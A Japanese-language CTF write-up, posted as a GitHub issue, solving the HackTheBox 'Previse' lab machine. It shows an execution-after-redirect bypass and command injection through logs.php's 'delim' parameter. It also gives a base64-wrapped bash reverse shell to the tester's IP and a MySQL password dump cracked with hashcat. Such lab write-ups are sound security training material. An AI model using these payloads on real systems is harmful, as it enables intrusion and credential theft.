roaris / ctf-log

0 stars 0 forks source link

HackTheBox: Previse (Machine Easy) #45

Open roaris opened 2 months ago

roaris commented 2 months ago

https://app.hackthebox.com/machines/Previse

$ nmap -sC -sV -Pn 10.10.11.104
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-30 08:54 JST
Nmap scan report for 10.10.11.104
Host is up (0.17s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-title: Previse Login
|_Requested resource was login.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.33 seconds
roaris commented 2 months ago

image

roaris commented 2 months ago

Apache2.4.29にコード実行の脆弱性は無かった https://httpd.apache.org/security/vulnerabilities_24.html で確認 権限昇格の脆弱性はあったので、後で使えるかもしれない https://www.cve.org/CVERecord?id=CVE-2019-0211

roaris commented 2 months ago

ディレクトリ探索(末尾に/付き)

$ gobuster dir --url http://10.10.11.104 --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -f
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.104
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Add Slash:               true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/icons/               (Status: 403) [Size: 277]
/css/                 (Status: 200) [Size: 939]
/js/                  (Status: 200) [Size: 1155]
Progress: 87664 / 87665 (100.00%)
===============================================================
Finished
===============================================================
roaris commented 2 months ago

ファイル探索(途中) .php, .pl, .sh, .cgiを対象にした ディレクトリ探索もやってしまっている いつものディレクトリ探索の5倍時間がかかる

$ gobuster dir --url http://10.10.11.104 --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,pl,sh,cgi
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.104
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              pl,sh,cgi,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/download.php         (Status: 302) [Size: 0] [--> login.php]
/.php                 (Status: 403) [Size: 277]
/index.php            (Status: 302) [Size: 2801] [--> login.php]
/login.php            (Status: 200) [Size: 2224]
/files.php            (Status: 302) [Size: 4914] [--> login.php]
/header.php           (Status: 200) [Size: 980]
/nav.php              (Status: 200) [Size: 1248]
/footer.php           (Status: 200) [Size: 217]
/css                  (Status: 301) [Size: 310] [--> http://10.10.11.104/css/]
/status.php           (Status: 302) [Size: 2966] [--> login.php]
/js                   (Status: 301) [Size: 309] [--> http://10.10.11.104/js/]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/accounts.php         (Status: 302) [Size: 3994] [--> login.php]
/config.php           (Status: 200) [Size: 0]
/logs.php             (Status: 302) [Size: 0] [--> login.php]
Progress: 87833 / 438325 (20.04%)

nav.phpが以下のようになっていたが、どのリンクを押してもlogin.phpにリダイレクトする image

roaris commented 2 months ago

ログインでSQLインジェクションを試したが駄目だった

admin / password, administrator / password, root / passwordも出来なかった

roaris commented 2 months ago

詰んだので、Guided Mode

Task1: How many TCP ports are open on the machine? A: 2

Task2: Is the web server is vulnerable to an execution after reading (EAR) vulnerability? Hint: Enumerate for directories on the remote web server and look at the raw responses from pages that are returning redirects.

execution after reading vulnerabilityって何だ

execution after redirectなら出てきた https://owasp.org/www-community/attacks/Execution_After_Redirect_(EAR) リダイレクトを無視して、機密情報を盗むというものらしい

例えば、以下のようなphpのプログラムは、ログイン状態にない場合、クライアント側で/loginにリダイレクトするようになっているが、このリダイレクトを無視すれば、本来見れない情報を見れる ブラウザでJavaScriptを無効化したり、Burpを使えば良い

<?php if (!$loggedin) {
     print "<script>window.location = '/login';</script>\n\n"; 
} ?>
<h1>Admin</h1>
<a href=/mu>Manage Users</a><br />
<a href=/ud>Update Database Settings</a>

redirectがprint "<script>window.location = '/login';</script>\n\n";で、executionが、<h1>Admin</h1>...で、execution after rediectかな

roaris commented 2 months ago

今回はステータス302でリダイレクトするので、Burpを使う

nav.phpでCREATE ACCOUNTのリンク先であるaccounts.phpにアクセスすると、以下のレスポンスが返ってきた

HTTP/1.1 302 Found
Date: Thu, 30 May 2024 01:09:28 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: login.php
Content-Length: 3994
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
        <meta charset="utf-8" />

        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <meta name="description" content="Previse rocks your socks." />
        <meta name="author" content="m4lwhere" />
        <link rel="shortcut icon" href="/favicon.ico" type="image/x-icon" />
        <link rel="icon" href="/favicon.ico" type="image/x-icon" />
        <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
        <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
        <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
        <link rel="manifest" href="/site.webmanifest">
        <link rel="stylesheet" href="css/uikit.min.css" />
        <script src="js/uikit.min.js"></script>
        <script src="js/uikit-icons.min.js"></script>

<title>Previse Create Account</title>
</head>
<body>

<nav class="uk-navbar-container" uk-navbar>
    <div class="uk-navbar-center">
        <ul class="uk-navbar-nav">
            <li class="uk-active"><a href="/index.php">Home</a></li>
            <li>
                <a href="accounts.php">ACCOUNTS</a>
                <div class="uk-navbar-dropdown">
                    <ul class="uk-nav uk-navbar-dropdown-nav">
                        <li><a href="accounts.php">CREATE ACCOUNT</a></li>
                    </ul>
                </div>
            </li>
            <li><a href="files.php">FILES</a></li>
            <li>
                <a href="status.php">MANAGEMENT MENU</a>
                <div class="uk-navbar-dropdown">
                    <ul class="uk-nav uk-navbar-dropdown-nav">
                        <li><a href="status.php">WEBSITE STATUS</a></li>
                        <li><a href="file_logs.php">LOG DATA</a></li>
                    </ul>
                </div>
            </li>
            <li><a href="#" class=".uk-text-uppercase"></span></a></li>
            <li>
                <a href="logout.php">
                    <button class="uk-button uk-button-default uk-button-small">LOG OUT</button>
                </a>
            </li>
        </ul>
    </div>
</nav>

<section class="uk-section uk-section-default">
    <div class="uk-container">
        <h2 class="uk-heading-divider">Add New Account</h2>
        <p>Create new user.</p>
        <p class="uk-alert-danger">ONLY ADMINS SHOULD BE ABLE TO ACCESS THIS PAGE!!</p>
        <p>Usernames and passwords must be between 5 and 32 characters!</p>
    </p>
        <form role="form" method="post" action="accounts.php">
            <div class="uk-margin">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: user"></span>
                    <input type="text" name="username" class="uk-input" id="username" placeholder="Username">
                </div>
            </div>
            <div class="uk-margin">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: lock"></span>
                    <input type="password" name="password" class="uk-input" id="password" placeholder="Password">
                </div>
            </div>
            <div class="uk-margin">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: lock"></span>
                    <input type="password" name="confirm" class="uk-input" id="confirm" placeholder="Confirm Password">
                </div>
            </div>
            <button type="submit" name="submit" class="uk-button uk-button-default">CREATE USER</button>
        </form>
    </div>
</section>

<div class="uk-position-bottom-center uk-padding-small">
    <a href="https://m4lwhere.org/" target="_blank"><button class="uk-button uk-button-text uk-text-small">Created by m4lwhere</button></a>
</div>
</body>
</html>

アカウントを作るためのフォームがある アカウントを作ってしまえば、ログイン出来るはず

roaris commented 2 months ago

The passwords dont match!と出てきて謎 image

roaris commented 2 months ago

/files.phpは以下のレスポンス

HTTP/1.1 302 Found
Date: Thu, 30 May 2024 14:05:09 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: login.php
Content-Length: 4914
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
        <meta charset="utf-8" />

        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <meta name="description" content="Previse rocks your socks." />
        <meta name="author" content="m4lwhere" />
        <link rel="shortcut icon" href="/favicon.ico" type="image/x-icon" />
        <link rel="icon" href="/favicon.ico" type="image/x-icon" />
        <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
        <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
        <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
        <link rel="manifest" href="/site.webmanifest">
        <link rel="stylesheet" href="css/uikit.min.css" />
        <script src="js/uikit.min.js"></script>
        <script src="js/uikit-icons.min.js"></script>

<title>Previse Files</title>
</head>
<body>

<nav class="uk-navbar-container" uk-navbar>
    <div class="uk-navbar-center">
        <ul class="uk-navbar-nav">
            <li class="uk-active"><a href="/index.php">Home</a></li>
            <li>
                <a href="accounts.php">ACCOUNTS</a>
                <div class="uk-navbar-dropdown">
                    <ul class="uk-nav uk-navbar-dropdown-nav">
                        <li><a href="accounts.php">CREATE ACCOUNT</a></li>
                    </ul>
                </div>
            </li>
            <li><a href="files.php">FILES</a></li>
            <li>
                <a href="status.php">MANAGEMENT MENU</a>
                <div class="uk-navbar-dropdown">
                    <ul class="uk-nav uk-navbar-dropdown-nav">
                        <li><a href="status.php">WEBSITE STATUS</a></li>
                        <li><a href="file_logs.php">LOG DATA</a></li>
                    </ul>
                </div>
            </li>
            <li><a href="#" class=".uk-text-uppercase"></span></a></li>
            <li>
                <a href="logout.php">
                    <button class="uk-button uk-button-default uk-button-small">LOG OUT</button>
                </a>
            </li>
        </ul>
    </div>
</nav>

    <section class="uk-section uk-section-default">
        <div class="uk-container">
            <h2 class="uk-heading-divider">Files</h2>
            <p></p>
            <p>Upload files below, uploaded files in table below</p>
            <form name="upload" enctype="multipart/form-data" action="" method="post">
                <div uk-form-custom="target: true">
                    <input name="userData" type="file">
                    <input class="uk-input uk-form-width-medium" type="text" placeholder="Select file" disabled>
                </div>
                <button class="uk-button uk-button-default" type="submit" value="Submit">Submit</button>
            </form>
        </div>
        <div class="uk-container">
            <br>
            <h2 class="uk-heading-divider">Uploaded Files</h2>

<table class="uk-table uk-table-hover uk-table-divider">
            <thead>
            <tr>
                <th class="uk-table-shrink">#</th>
                <th class="uk-table-expand">Name</th>
                <th>Size</th>
                <th>User</th>
                <th>Date</th>
                <th>Delete</th>
            </tr>
            </thead>
            <tbody>
                <tr>
                    <td>1</td>
                    <td><a href='download.php?file=32'><button class="uk-button uk-button-text">siteBackup.zip</button></a></td>
                    <td>9948</td>
                    <td>newguy</td>
                    <td>2021-06-12 11:14:34</td>
                    <td><form action="files.php" method="post">
                        <button class="uk-button uk-button-danger uk-button-small" type="button" uk-toggle="target: #offcanvas-flip1">Delete</button>
                        <div id="offcanvas-flip1" uk-offcanvas="flip: true; overlay: true">
                            <div class="uk-offcanvas-bar">
                                <button class="uk-offcanvas-close" type="button" uk-close></button>
                                <h3>Delete File</h3>
                                <p>Are you sure you want to delete this file?</p>
                                <button class="uk-button uk-button-danger uk-button-small" type="submit" name="del" value="32">Delete</button>
                            </div>
                        </div>
                    </form></td>
                </tr></tbody></table></div>        </div>
    </section>

<div class="uk-position-bottom-center uk-padding-small">
    <a href="https://m4lwhere.org/" target="_blank"><button class="uk-button uk-button-text uk-text-small">Created by m4lwhere</button></a>
</div>
</body>
</html>

/download.php?file=32にアクセスしたが、/login.phpにリダイレクトしてしまった

/status.phpは以下のレスポンス

HTTP/1.1 302 Found
Date: Thu, 30 May 2024 01:07:35 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: login.php
Content-Length: 2966
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
        <meta charset="utf-8" />

        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <meta name="description" content="Previse rocks your socks." />
        <meta name="author" content="m4lwhere" />
        <link rel="shortcut icon" href="/favicon.ico" type="image/x-icon" />
        <link rel="icon" href="/favicon.ico" type="image/x-icon" />
        <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
        <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
        <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
        <link rel="manifest" href="/site.webmanifest">
        <link rel="stylesheet" href="css/uikit.min.css" />
        <script src="js/uikit.min.js"></script>
        <script src="js/uikit-icons.min.js"></script>

<title>Previse Status</title>
</head>
<body>

<nav class="uk-navbar-container" uk-navbar>
    <div class="uk-navbar-center">
        <ul class="uk-navbar-nav">
            <li class="uk-active"><a href="/index.php">Home</a></li>
            <li>
                <a href="accounts.php">ACCOUNTS</a>
                <div class="uk-navbar-dropdown">
                    <ul class="uk-nav uk-navbar-dropdown-nav">
                        <li><a href="accounts.php">CREATE ACCOUNT</a></li>
                    </ul>
                </div>
            </li>
            <li><a href="files.php">FILES</a></li>
            <li>
                <a href="status.php">MANAGEMENT MENU</a>
                <div class="uk-navbar-dropdown">
                    <ul class="uk-nav uk-navbar-dropdown-nav">
                        <li><a href="status.php">WEBSITE STATUS</a></li>
                        <li><a href="file_logs.php">LOG DATA</a></li>
                    </ul>
                </div>
            </li>
            <li><a href="#" class=".uk-text-uppercase"></span></a></li>
            <li>
                <a href="logout.php">
                    <button class="uk-button uk-button-default uk-button-small">LOG OUT</button>
                </a>
            </li>
        </ul>
    </div>
</nav>

<section class="uk-section uk-section-default">
    <div class="uk-container">
        <h2 class="uk-heading-divider">Status</h2>
        <div class="uk-container" uk-grid>
            <div><p>Check website status:</p></div>
        </div>
        <div class="uk-container">
            <p class='uk-text-success'>MySQL server is online and connected!</p><p>There is <b>1</b> registered admin</p><p>There is <b>1</b> uploaded file</p>        </div>
    </div>
</section>

<div class="uk-position-bottom-center uk-padding-small">
    <a href="https://m4lwhere.org/" target="_blank"><button class="uk-button uk-button-text uk-text-small">Created by m4lwhere</button></a>
</div>
</body>
</html>

file_logs.phpは以下のレスポンス

HTTP/1.1 302 Found
Date: Thu, 30 May 2024 01:07:37 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: login.php
Content-Length: 3441
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
        <meta charset="utf-8" />

        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <meta name="description" content="Previse rocks your socks." />
        <meta name="author" content="m4lwhere" />
        <link rel="shortcut icon" href="/favicon.ico" type="image/x-icon" />
        <link rel="icon" href="/favicon.ico" type="image/x-icon" />
        <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
        <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
        <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
        <link rel="manifest" href="/site.webmanifest">
        <link rel="stylesheet" href="css/uikit.min.css" />
        <script src="js/uikit.min.js"></script>
        <script src="js/uikit-icons.min.js"></script>

<title>Previse File Access Logs</title>
</head>
<body>

<nav class="uk-navbar-container" uk-navbar>
    <div class="uk-navbar-center">
        <ul class="uk-navbar-nav">
            <li class="uk-active"><a href="/index.php">Home</a></li>
            <li>
                <a href="accounts.php">ACCOUNTS</a>
                <div class="uk-navbar-dropdown">
                    <ul class="uk-nav uk-navbar-dropdown-nav">
                        <li><a href="accounts.php">CREATE ACCOUNT</a></li>
                    </ul>
                </div>
            </li>
            <li><a href="files.php">FILES</a></li>
            <li>
                <a href="status.php">MANAGEMENT MENU</a>
                <div class="uk-navbar-dropdown">
                    <ul class="uk-nav uk-navbar-dropdown-nav">
                        <li><a href="status.php">WEBSITE STATUS</a></li>
                        <li><a href="file_logs.php">LOG DATA</a></li>
                    </ul>
                </div>
            </li>
            <li><a href="#" class=".uk-text-uppercase"></span></a></li>
            <li>
                <a href="logout.php">
                    <button class="uk-button uk-button-default uk-button-small">LOG OUT</button>
                </a>
            </li>
        </ul>
    </div>
</nav>
<section class="uk-section uk-section-default">
    <div class="uk-container">
        <h2 class="uk-heading-divider">Request Log Data</h2>
        <p>We take security very seriously, and keep logs of file access actions. We can set delimters for your needs!</p>
        <p>Find out which users have been downloading files.</p>
        <form action="logs.php" method="post">
            <div class="uk-margin uk-width-1-4@s">
                <label class="uk-form-label" for="delim-log">File delimeter:</label>
                <select class="uk-select" name="delim" id="delim-log">
                    <option value="comma">comma</option>
                    <option value="space">space</option>
                    <option value="tab">tab</option>
                </select>
            </div>
            <button class="uk-button uk-button-default" type="submit" value="submit">Submit</button>
        </form>
    </div>
</section>

<div class="uk-position-bottom-center uk-padding-small">
    <a href="https://m4lwhere.org/" target="_blank"><button class="uk-button uk-button-text uk-text-small">Created by m4lwhere</button></a>
</div>
</body>
</html>
roaris commented 2 months ago

詰んだので、Guided Mode

Task3: What's the name of the file that contains a backup of the site? A: siteBackup.zip

Task4: Which PHP file can be exploited to achieve code execution on the machine? Hint: Now that you have a backup of the website you may begin looking at the source code and figure out how things work internally. When dealing with PHP files, searching for dangerous functions like exec(), passthru(), etc is a good place to start.

siteBackup.zipがダウンロード出来ていることが前提なのか

roaris commented 2 months ago

https://0xdf.gitlab.io/2022/01/08/htb-previse.html

BurpのInterceptでレスポンス中の302 Foundを200 OKに書き換えれば、ブラウザでリダイレクトさせずにページを表示させられる あと、/nav.phpじゃなくても、/にアクセスした時のレスポンスに、/account.php等へのリンクが含まれていた

image

このページ上でアカウント作成をすると上手くいった

image

さっきやった時上手くいかなかったのは、最後に改行が入ってしまっていたからだった

roaris commented 2 months ago

ログイン状態だと、/download.php?file=32にアクセスして、siteBackup.zipをダウンロードすることが出来た siteBackup.zipを解凍すると、各phpファイル(index.phpやaccounts.phpなど)が出てきた

index.phpは以下のようになっていた

<?php
session_start();
if (!isset($_SESSION['user'])) {
    header('Location: login.php');
}
?>

<?php include( 'header.php' ); ?>

<title>Previse Home</title>
</head>
<body>

<?php include( 'nav.php' ); ?>

    <section class="uk-section uk-section-default">
        <div class="uk-container">
            <h2 class="uk-heading-divider">Previse File Hosting</h2>
            <p>Previse File Hosting Service Management.</p>
            <p>Don't have an account? Create one!</p>
        </div>
    </section>

<?php include( 'footer.php' ); ?>

確かにEARの脆弱性があると分かる

一方、download.phpは以下のようになっていた

<?php                             
session_start();                  
if (!isset($_SESSION['user'])) {  
    header('Location: login.php');
    exit;
}                                 
?> 

<?php include( 'config.php' ); ?>

<?php
if (isset($_GET['file'])) {
    // Log all file attempts, because security is important!!
    $logFilename = "/var/www/file_access.log";
    $epochTime = getdate()[0];
    $logMsg = "{$epochTime},{$_SESSION['user']},{$_GET['file']}";
    file_put_contents($logFilename, $logMsg . "\n", FILE_APPEND);
    if (!filter_var($_GET['file'], FILTER_VALIDATE_INT)) {
        http_response_code(404);
        exit;
    } else {
        $fileId = filter_var($_GET['file'], FILTER_SANITIZE_NUMBER_INT);
        $db = connectDB();
        if ($db === false) {
            die("ERROR: Could not connect. " . $db->connect_error);
        } else {
        $sql = "SELECT name, size, data FROM files WHERE id = {$fileId} limit 1;";
        $result = $db->query($sql);
        $row = mysqli_fetch_assoc($result);
        header("Content-Description: File Transfer");
        header("Content-Type: application/octet-stream");
        header("Content-Length: " . $row['size']);
        header("Content-Disposition: attachment; filename=" . $row['name']);
        ob_clean(); // Discard any data in the output buffer
        flush(); // Flush system headers
        echo $row['data'];
        $result->free();
        }
    }
    $db->close();
} else {
echo '<div class="uk-alert-danger">Nothing requested!</div>';
}
?>

exitしているので、EARの脆弱性はない

roaris commented 2 months ago

logs.phpにコード実行の脆弱性があった delimというPOSTパラメータをexecに渡している

<?php
session_start();
if (!isset($_SESSION['user'])) {
    header('Location: login.php');
    exit;
}
?>

<?php
if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
    header('Location: login.php');
    exit;
}

/////////////////////////////////////////////////////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////

$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;

$filepath = "/var/www/out.log";
$filename = "out.log";    

if(file_exists($filepath)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    ob_clean(); // Discard data in the output buffer
    flush(); // Flush system headers
    readfile($filepath);
    die();
} else {
    http_response_code(404);
    die();
} 
?>
roaris commented 2 months ago

まず、疎通確認 delimに; ping 10.10.14.2 -c 5をURLエンコードしたものを指定した image

$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
10:02:18.050761 IP 10.10.11.104 > 10.10.14.2: ICMP echo request, id 4262, seq 1, length 64
10:02:18.050783 IP 10.10.14.2 > 10.10.11.104: ICMP echo reply, id 4262, seq 1, length 64
10:02:19.008520 IP 10.10.11.104 > 10.10.14.2: ICMP echo request, id 4262, seq 2, length 64
10:02:19.008530 IP 10.10.14.2 > 10.10.11.104: ICMP echo reply, id 4262, seq 2, length 64
10:02:20.010409 IP 10.10.11.104 > 10.10.14.2: ICMP echo request, id 4262, seq 3, length 64
10:02:20.010432 IP 10.10.14.2 > 10.10.11.104: ICMP echo reply, id 4262, seq 3, length 64
10:02:21.010257 IP 10.10.11.104 > 10.10.14.2: ICMP echo request, id 4262, seq 4, length 64
10:02:21.010277 IP 10.10.14.2 > 10.10.11.104: ICMP echo reply, id 4262, seq 4, length 64
10:02:22.044973 IP 10.10.11.104 > 10.10.14.2: ICMP echo request, id 4262, seq 5, length 64
10:02:22.044993 IP 10.10.14.2 > 10.10.11.104: ICMP echo reply, id 4262, seq 5, length 64
roaris commented 2 months ago

; bash -i >& /dev/tcp/10.10.14.2/4444 0>&1は上手くいかなかったので、いつものようにbase64エンコードした

$ echo "bash -i >& /dev/tcp/10.10.14.2/4444 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yLzQ0NDQgMD4mMQo=

; echo YmFzaCAtaSA JiAvZGV2L3RjcC8xMC4xMC4xNC4yLzQ0NDQgMD4mMQo= | base64 -d | bash

シェルが取れた

$ nc -lvp 4444
listening on [any] 4444 ...
10.10.11.104: inverse host lookup failed: Unknown host
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.104] 43014
bash: cannot set terminal process group (1493): Inappropriate ioctl for device
bash: no job control in this shell
www-data@previse:/var/www/html$
roaris commented 2 months ago

user.txtは見れない

www-data@previse:/var/www/html$ ls -al /home
ls -al /home
total 12
drwxr-xr-x  3 root     root     4096 May 25  2021 .
drwxr-xr-x 24 root     root     4096 Jul 27  2021 ..
drwxr-xr-x  5 m4lwhere m4lwhere 4096 Jul 28  2021 m4lwhere
www-data@previse:/var/www/html$ ls -al /home/m4lwhere
ls -al /home/m4lwhere
total 44
drwxr-xr-x 5 m4lwhere m4lwhere 4096 Jul 28  2021 .
drwxr-xr-x 3 root     root     4096 May 25  2021 ..
lrwxrwxrwx 1 root     root        9 Jun  6  2021 .bash_history -> /dev/null
-rw-r--r-- 1 m4lwhere m4lwhere  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 m4lwhere m4lwhere 3771 Apr  4  2018 .bashrc
drwx------ 2 m4lwhere m4lwhere 4096 May 25  2021 .cache
drwxr-x--- 3 m4lwhere m4lwhere 4096 Jun 12  2021 .config
drwx------ 4 m4lwhere m4lwhere 4096 Jun 12  2021 .gnupg
-rw-r--r-- 1 m4lwhere m4lwhere  807 Apr  4  2018 .profile
-rw-r--r-- 1 m4lwhere m4lwhere   75 May 31  2021 .selected_editor
lrwxrwxrwx 1 root     root        9 Jul 28  2021 .viminfo -> /dev/null
-rw-r--r-- 1 m4lwhere m4lwhere   75 Jun 18  2021 .vimrc
-r-------- 1 m4lwhere m4lwhere   33 May 30 14:08 user.txt
roaris commented 2 months ago

config.phpを見ると、MySQLの認証情報が書かれている

<?php

function connectDB(){
    $host = 'localhost';
    $user = 'root';
    $passwd = 'mySQL_p@ssw0rd!:)';
    $db = 'previse';
    $mycon = new mysqli($host, $user, $passwd, $db);
    return $mycon;
}

?>

これを使って、MySQLにログインする(事前にシェルの安定化をしておく)

www-data@previse:/var/www/html$ mysql -h127.0.0.1 -uroot -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 26
Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| previse            |
| sys                |
+--------------------+
5 rows in set (0.00 sec)

mysql> use previse;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-------------------+
| Tables_in_previse |
+-------------------+
| accounts          |
| files             |
+-------------------+
2 rows in set (0.00 sec)

mysql> select * from accounts;
+----+-------------+------------------------------------+---------------------+
| id | username    | password                           | created_at          |
+----+-------------+------------------------------------+---------------------+
|  1 | m4lwhere    | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
|  2 | test123     | $1$🧂llol$79cV9c1FNnnr7LcfPFlqQ0 | 2024-05-30 14:29:22 |
|  3 | test1234    | $1$🧂llol$79cV9c1FNnnr7LcfPFlqQ0 | 2024-05-30 14:35:01 |
|  4 | test12345   | $1$🧂llol$79cV9c1FNnnr7LcfPFlqQ0 | 2024-05-30 14:37:10 |
|  5 | test123456  | $1$🧂llol$79cV9c1FNnnr7LcfPFlqQ0 | 2024-05-30 14:37:30 |
|  6 | test1234567 | $1$🧂llol$GOwnCpEmK3vYEiqJdzVtR. | 2024-05-30 14:38:03 |
+----+-------------+------------------------------------+---------------------+
6 rows in set (0.00 sec)

accountsテーブルのpasswordカラムがおかしくなっている(saltの絵文字?)

roaris commented 2 months ago

accounts.phpのユーザ作成部分の処理

$hash = crypt($password, '$1$🧂llol$');
$db = connectDB();
if ($db === false) {
    die("ERROR: Could not connect. " . $db->connect_error);
}                    
$sql = "INSERT INTO accounts (username, password) VALUES ('{$username}','{$hash}')";
$result = $db->query($sql);
if ($result) {
    echo '<div class="uk-alert-success" uk-alert><a class="uk-alert-close" uk-close></a><p>Success! User was added!</p></div>';
} else {
    echo '<div class="uk-alert-danger" uk-alert><a class="uk-alert-close" uk-close></a><p>Error! Failed to add new user</p></div>';
}

phpのcrypt関数 https://www.php.net/manual/ja/function.crypt.php

roaris commented 2 months ago

m4lwhereのpasswordカラムでjohn the ripperを試したけどヒットしなかった

$ john john.txt --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:28 DONE (2024-06-02 22:41) 0g/s 493181p/s 493181c/s 493181C/s !!ouchie!!..*7¡Vamos!
Session completed.
roaris commented 2 months ago

ilovecody112235!がハッシュ化前のパスワードで、/usr/share/wordlists/rockyou.txtの中に存在するんだけど、なんで出てこないんだ

roaris commented 2 months ago

https://0xdf.gitlab.io/2022/01/08/htb-previse.html#crack-hash hashcatを使うと出てきた

$ hashcat -m 500 john.txt /usr/share/wordlists/rockyou.txt
...
$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!
...

-m 500でハッシュ化の方法を指定している

$ man hashcat
...
OPTIONS
...
       -m, --hash-type=NUM
              Hash-type, see references below
...
Hash types
...
       500 = md5crypt, MD5(Unix), FreeBSD MD5, Cisco-IOS MD5
...

https://medium.com/acm-juit/previse-htb-writeup-a3d0acecb937 john the ripperもformatオプションを渡すと上手くいった

